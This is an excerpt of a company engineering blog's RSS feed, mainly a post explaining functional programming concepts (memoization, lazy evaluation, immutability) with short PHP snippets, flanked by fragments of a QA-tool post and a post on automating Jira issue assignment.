0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Conclusion&lt;/h2&gt; &lt;p&gt;Overall it is a great tool that is stuffed with a lot of useful features which can only make a QA guy’s life easier. Using these features we can make a sturdy test suite that can have more and more test cases without any limitations. &lt;/p&gt;</content:encoded><author>Mohit Khanna</author></item><item><title><![CDATA[Why functional programming is needed]]></title><description><![CDATA[A Little History Having a functional approach to a problem does not kick off the adventurous journey of learning a new language, instead, it…]]></description><link>https://engineering.wingify.com//posts/why-functional-programming-is-needed/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/why-functional-programming-is-needed/</guid><pubDate>Thu, 15 Dec 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;a-little-history&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#a-little-history&quot; aria-label=&quot;a little history permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;A Little History&lt;/h2&gt; &lt;p&gt;Having a functional approach to a problem does not kick off the adventurous journey of learning a new language, instead, it is more convoluted in the form of thinking offbeat than usual. Mathematicians and computer science researchers comprehended functional approach rather late than object orientation but somehow they won the battles and persuaded engineers and developers in embedding their ideas into the modern classes of programming languages.&lt;/p&gt; &lt;p&gt;The reason why it is adored so much in academia are:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;enhancing visualisation and fine clarity&lt;/li&gt; &lt;li&gt;fitness to the desired level of abstractions&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Language supporting FP is JVM-based, .NET platform-based, JS, Rust, etc.&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;All race conditions, deadlock conditions, and concurrent update problems are due to mutable variables. &lt;cite&gt;Robert C. Martin, Clean Architecture&lt;/cite&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;h2 id=&quot;fp-paradigm&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#fp-paradigm&quot; aria-label=&quot;fp paradigm permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;FP Paradigm&lt;/h2&gt; &lt;p&gt;The rationalization of the term &lt;em&gt;moving parts&lt;/em&gt; is a change of states, more or less, controlling who can make changes to states. Visibility and accessibility are some of the approaches, OOP provides to safeguard changes. OOP tries to minimize the mutable states rather than providing levers, switches and buttons to control them.&lt;/p&gt; &lt;p&gt;Researchers believe that fewer potentially error-prone features are in the language, it is less likely for developers to make errors.&lt;/p&gt; &lt;p&gt;The building block of the functional approach is to have less mutable states.&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Object orientation makes code understandable by encapsulating moving parts. FP makes code understandable by minimizing moving parts. &lt;cite&gt;Michael Feathers&lt;/cite&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;h2 id=&quot;abstraction&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#abstraction&quot; aria-label=&quot;abstraction permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Abstraction&lt;/h2&gt; &lt;p&gt;The dependency inversion of the SOLID principle, gave a breakthrough to Clojure language, the &lt;code class=&quot;language-text&quot;&gt;map()&lt;/code&gt; operation gets a performance boost, parallelize simultaneously to multiple cores.&lt;/p&gt; &lt;p&gt;The idea is to hide low-level details from high-level computations.&lt;/p&gt; &lt;p&gt;Imperative style chips in towards a problem holistically with commands, mutating variables, and producing side effects, e.g loops. Lessening mutation, piping data through transformers, and letting a stream of events, and data pass through mathematical formulas is how FP makes its way in solving problems, exposing less and less of what is under the hood.&lt;/p&gt; &lt;p&gt;The programmer only sees high-order functions, completely (not 100% though) unaware of why and how of what going under the carpet.&lt;/p&gt; &lt;p&gt;Some examples are: &lt;code class=&quot;language-text&quot;&gt;array_walk&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;array_filter&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;array_reduce&lt;/code&gt;, etc.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Benefits of Higher Level of Abstraction&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;abstract mathematical model allows faster experimentation&lt;/li&gt; &lt;li&gt;processing fewer items if it does not change the outcome&lt;/li&gt; &lt;li&gt;parallelization and optimizations&lt;/li&gt; &lt;li&gt;allow run time to be independent of any programmers dependencies&lt;/li&gt; &lt;/ul&gt; &lt;blockquote&gt; &lt;p&gt;The psychological profile of a programmer is mostly the ability to shift levels of abstraction, from low level to high level. To see something in the small and to see something in the large. When you&apos;re writing a program, you&apos;re saying, &quot;Add one to the counter,&quot; but you know why you&apos;re adding one to the counter. You can step back and see a picture of the way a process is moving. Computer scientists see things simultaneously at the low level and the high level. &lt;cite&gt;Donald E. Knuth&lt;/cite&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;h2 id=&quot;memoization&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#memoization&quot; aria-label=&quot;memoization permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Memoization&lt;/h2&gt; &lt;p&gt;Memoization, a relic of Dynamic Programming (DP), is a fancy way of saying &lt;strong&gt;caching repeating values&lt;/strong&gt;. Once, it was way of designing an algorithm, on which an entire category of the algorithm is based, to name a few including Fibonacci Sequence, Tower of Hanoi and Google&apos;s favourite interview problem &quot;Egg Dropping Puzzle&quot;.&lt;/p&gt; &lt;p&gt;As computer researchers and scientist engineers embrace FP, Memoization is now a built-in language itself. Not to say, abstraction plays a role here. Though, for memoization to work, the programmer&apos;s functions must be pure.&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;A pure function has no side effects: it references no other mutable class fields, does not set any values other than the return value, and relies only on the parameters for input. &lt;cite&gt;Wikipedia&lt;/cite&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;Many modern languages support memoization, including &lt;code class=&quot;language-text&quot;&gt;Groovy&lt;/code&gt;, custom packages, and libs are available for other languages for same.&lt;/p&gt; &lt;p&gt;Here is one example:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt; if (array_key_exists($key, $this-&amp;gt;cache)) { return $this-&amp;gt;cache[$key]; } $result = call_user_func($compute); $this-&amp;gt;cache[$key] = $result; return $result;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;&lt;strong&gt;Tip&lt;/strong&gt; Memoization is so loved at Wingify that there have been multiple instances where memoization-related technical questions have been asked.&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;When asked, “What are the advantages of writing in a language without side effects?” Simon Peyton Jones, co-creator of Haskell, replied, “You only have to reason about values and not about state. If you give a function the same input, it’ll give you the same output, every time. This has implications for reasoning, for compiling, for parallelism.” &lt;cite&gt;The book, Masterminds of Programming&lt;/cite&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;h2 id=&quot;lazy-evaluation&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#lazy-evaluation&quot; aria-label=&quot;lazy evaluation permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Lazy Evaluation&lt;/h2&gt; &lt;p&gt;Evaluate when needed, is a technique in which the evaluation of an expression is delayed until it is needed. This can be useful in situations where an expression is computationally expensive to evaluate or where the expression may not be needed at all.&lt;/p&gt; &lt;p&gt;Lazy evaluation modularises a program as a generator, letting choose appropriate outcome when a large result set is available as computation.&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Lazy evaluation is a powerful technique for improving the performance of programs. It allows the programmer to define the order in which expressions are evaluated, and to delay the evaluation of expressions until they are needed. This can save computational resources and make code easier to read and understand. &lt;cite&gt;John Hughes, computer scientist and functional programming researcher&lt;/cite&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;Here is an example of lazy evaluation:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;// A function that returns a closure (an anonymous function) // that returns the result of the expensive operation function getLazyResult() { return function() { return expensiveOperation(); }; } // The closure is created but the expensiveOperation is not yet executed $lazyResult = getLazyResult(); // The expensiveOperation is only executed when the closure is called $result = $lazyResult();&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h2 id=&quot;fp-data-structures&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#fp-data-structures&quot; aria-label=&quot;fp data structures permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;FP Data Structures&lt;/h2&gt; &lt;p&gt;Functional languages expose lesser data structures with many operations in comparison to OOP.&lt;/p&gt; &lt;p&gt;The example below is a functional utility class, and it has only one data item, an array. The trait in class add a whole bunch of operations on the same array of items.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;class Collection { use HasFilter, HasMap, HasReduce, HasEach; protected $items = []; public function __construct($items = null) { if (is_array($items)) { $this-&amp;gt;items = $items; } else if ($items instanceof Collection) { $this-&amp;gt;items = $items-&amp;gt;items(); } else { $this-&amp;gt;items = is_null($items) ? [] : array($items); } }&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Strictly typed languages ask too much from developers, language demands that programmers must transform the problem into the rigid structure of the language itself, ultimately leading developers in creating more data structures to accommodate that problem. At least that is how early language is designed and to this point, it seems fair.&lt;/p&gt; &lt;p&gt;The rise of functional language and its support gave developers freedom in terms of language malleability which even developers have never thought of. Surprised? Ruby&apos;s internal DSL using language metaprogramming, gave developers the weapon of mass problem solving, letting them solve any critical problem in the way they like. It minimizes the need for data structures at the same time allows developers to adopt any behaviour change.&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;It is better to have 100 functions operate on one data structure than 10 functions on 10 data structures. &lt;cite&gt;Alan Perlis&lt;/cite&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;h2 id=&quot;fp-error-handling&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#fp-error-handling&quot; aria-label=&quot;fp error handling permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;FP Error Handling&lt;/h2&gt; &lt;p&gt;OOP languages use built-in exceptions to handle errors and run time issues, but the core philosophy of FP is different when it comes to disrupting the execution flow. FP stick to referential transparency, meaning errors and exceptions are handled with the help of returned values.&lt;/p&gt; &lt;p&gt;It can say that when it comes to errors, FP tends to favour the imperative paradigm.&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Error handling in functional programming is typically done through the use of monads, which are structures that allow us to represent computations that may fail or have side effects. Monads provide a way to abstract away error handling and side effects, making it easier to reason about and write correct code. &lt;cite&gt;Haskell Programming from First Principles&lt;/cite&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;h2 id=&quot;fp-code-reuse&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#fp-code-reuse&quot; aria-label=&quot;fp code reuse permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;FP Code Reuse&lt;/h2&gt; &lt;p&gt;Every programmer wants reusable code, right? why not functional programmers? But FP uses different building blocks in problem-solving, and code re-usability becomes a little tricky. So what is the difference? OOP and imperative codes create a relationship between objects but FP create a relationship between mechanism (actions). These actions can be shared or re-used.&lt;/p&gt; &lt;p&gt;FP treats functions as first-class entities in language.&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;In a programming language, a function is a first-class entity if it can be stored in a variable, passed as an argument to a function, or returned as a result of a function. &lt;cite&gt;The C Programming Language&lt;/cite&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;h2 id=&quot;fp-immutability&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#fp-immutability&quot; aria-label=&quot;fp immutability permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;FP Immutability&lt;/h2&gt; &lt;p&gt;It simply means you cannot change a variable once you assign something to it, sounds contradictory? isn&apos;t? Language like &lt;code class=&quot;language-text&quot;&gt;Erlang&lt;/code&gt; has variable immutability in its core. Less moving parts mean fewer things to think about and hence less chance of making errors.&lt;/p&gt; &lt;p&gt;Learning immutability is the first thing to think like a functional programmer.&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Immutability is a key concept in software development, as it allows us to write code that is more predictable and easier to understand. It also has the added benefit of making our programs more scalable and easier to parallelize. &lt;cite&gt;Introduction to the Art of Programming Using Scala&lt;/cite&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;h2 id=&quot;the-takeaway&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-takeaway&quot; aria-label=&quot;the takeaway permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Takeaway&lt;/h2&gt; &lt;p&gt;Find these in code &lt;code class=&quot;language-text&quot;&gt;actions&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;calculations&lt;/code&gt;, and &lt;code class=&quot;language-text&quot;&gt;data&lt;/code&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;turn code into reusable and testable by extracting calculations from actions&lt;/li&gt; &lt;li&gt;design actions by replacing implicit inputs and outputs with explicit ones&lt;/li&gt; &lt;li&gt;implementing immutability to make reading data into a calculation&lt;/li&gt; &lt;/ul&gt; &lt;hr&gt; &lt;p&gt;To know more about how Wingify uses FP, feel free to comment.&lt;/p&gt; &lt;hr&gt; &lt;h2 id=&quot;popular-functional-languages-source-wikipedia&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#popular-functional-languages-source-wikipedia&quot; aria-label=&quot;popular functional languages source wikipedia permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Popular Functional Languages (source: Wikipedia)&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;Clojure (&lt;a href=&quot;https://clojure.org&quot;&gt;https://clojure.org&lt;/a&gt;)&lt;/li&gt; &lt;li&gt;Elixir (&lt;a href=&quot;https://elixir-lang.org&quot;&gt;https://elixir-lang.org&lt;/a&gt;)&lt;/li&gt; &lt;li&gt;Swift (&lt;a href=&quot;https://swift.org&quot;&gt;https://swift.org&lt;/a&gt;)&lt;/li&gt; &lt;li&gt;Kotlin (&lt;a href=&quot;https://kotlinlang.org&quot;&gt;https://kotlinlang.org&lt;/a&gt;)&lt;/li&gt; &lt;li&gt;Haskell (&lt;a href=&quot;https://haskell.org&quot;&gt;https://haskell.org&lt;/a&gt;)&lt;/li&gt; &lt;li&gt;Erlang (&lt;a href=&quot;https://erlang.org&quot;&gt;https://erlang.org&lt;/a&gt;)&lt;/li&gt; &lt;li&gt;Elm (&lt;a href=&quot;https://elm-lang.org&quot;&gt;https://elm-lang.org&lt;/a&gt;)&lt;/li&gt; &lt;li&gt;Scala (&lt;a href=&quot;https://scala-lang.org&quot;&gt;https://scala-lang.org&lt;/a&gt;)&lt;/li&gt; &lt;li&gt;F# (&lt;a href=&quot;https://fsharp.org&quot;&gt;https://fsharp.org&lt;/a&gt;)&lt;/li&gt; &lt;li&gt;Rust (&lt;a href=&quot;https://rust-lang.org&quot;&gt;https://rust-lang.org&lt;/a&gt;)&lt;/li&gt; &lt;li&gt;PureScript (&lt;a href=&quot;https://www.purescript.org&quot;&gt;https://www.purescript.org&lt;/a&gt;)&lt;/li&gt; &lt;li&gt;Racket (&lt;a href=&quot;https://racket-lang.org&quot;&gt;https://racket-lang.org&lt;/a&gt;)&lt;/li&gt; &lt;li&gt;Reason (&lt;a href=&quot;https://reasonml.github.io&quot;&gt;https://reasonml.github.io&lt;/a&gt;)&lt;/li&gt; &lt;/ul&gt;</content:encoded><author>Ganesh Gupta</author></item><item><title><![CDATA[Automating Tedious Managerial Tasks]]></title><description><![CDATA[Client issue assignment and tracking. We at Wingify take our client issues very seriously and have built processes to get the desired…]]></description><link>https://engineering.wingify.com//posts/Automating_Managerial_Tasks/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/Automating_Managerial_Tasks/</guid><pubDate>Mon, 28 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;div style=&quot;text-align:center; margin: 10px; display: none&quot;&gt; &lt;img src=&quot;/images/2022/12/qaWingify.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;h1 id=&quot;client-issue-assignment-and-tracking&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#client-issue-assignment-and-tracking&quot; aria-label=&quot;client issue assignment and tracking permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Client issue assignment and tracking.&lt;/h1&gt; &lt;p&gt;We at Wingify take our client issues very seriously and have built processes to get the desired resolutions in the fastest and most efficient ways possible. Needless to say, the QA engineers are at the heart of this process. We follow a process where the QA team is the first in line to diagnose, debug and revert to all client issues passed on by the customer support team. Additionally, we have defined a 4-hour SLA for the first response to all client issues.&lt;/p&gt; &lt;p&gt;As the process was started, the round-robin assignment was done manually by a senior member of the team, who took into account some parameters: people on leaves and area-wise assignment bias, among other variables while assigning the issues. The drawbacks to the manual process are quite obvious:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;A person can check for issues (in Jira) only a few times a day, which means issues remain un-assigned for hours putting our desired SLA at risk.&lt;/li&gt; &lt;li&gt;The bandwidth of a senior team member is blocked - He has to keep an eye out on new issues logged, who all are on leave, and maintain a sheet with the history of the assignment so he can assign in a round-robin.&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;the-solution-when-its-tedious-and-mundane---automate-it&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-solution-when-its-tedious-and-mundane---automate-it&quot; aria-label=&quot;the solution when its tedious and mundane automate it permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The solution: When it&apos;s tedious and mundane - Automate 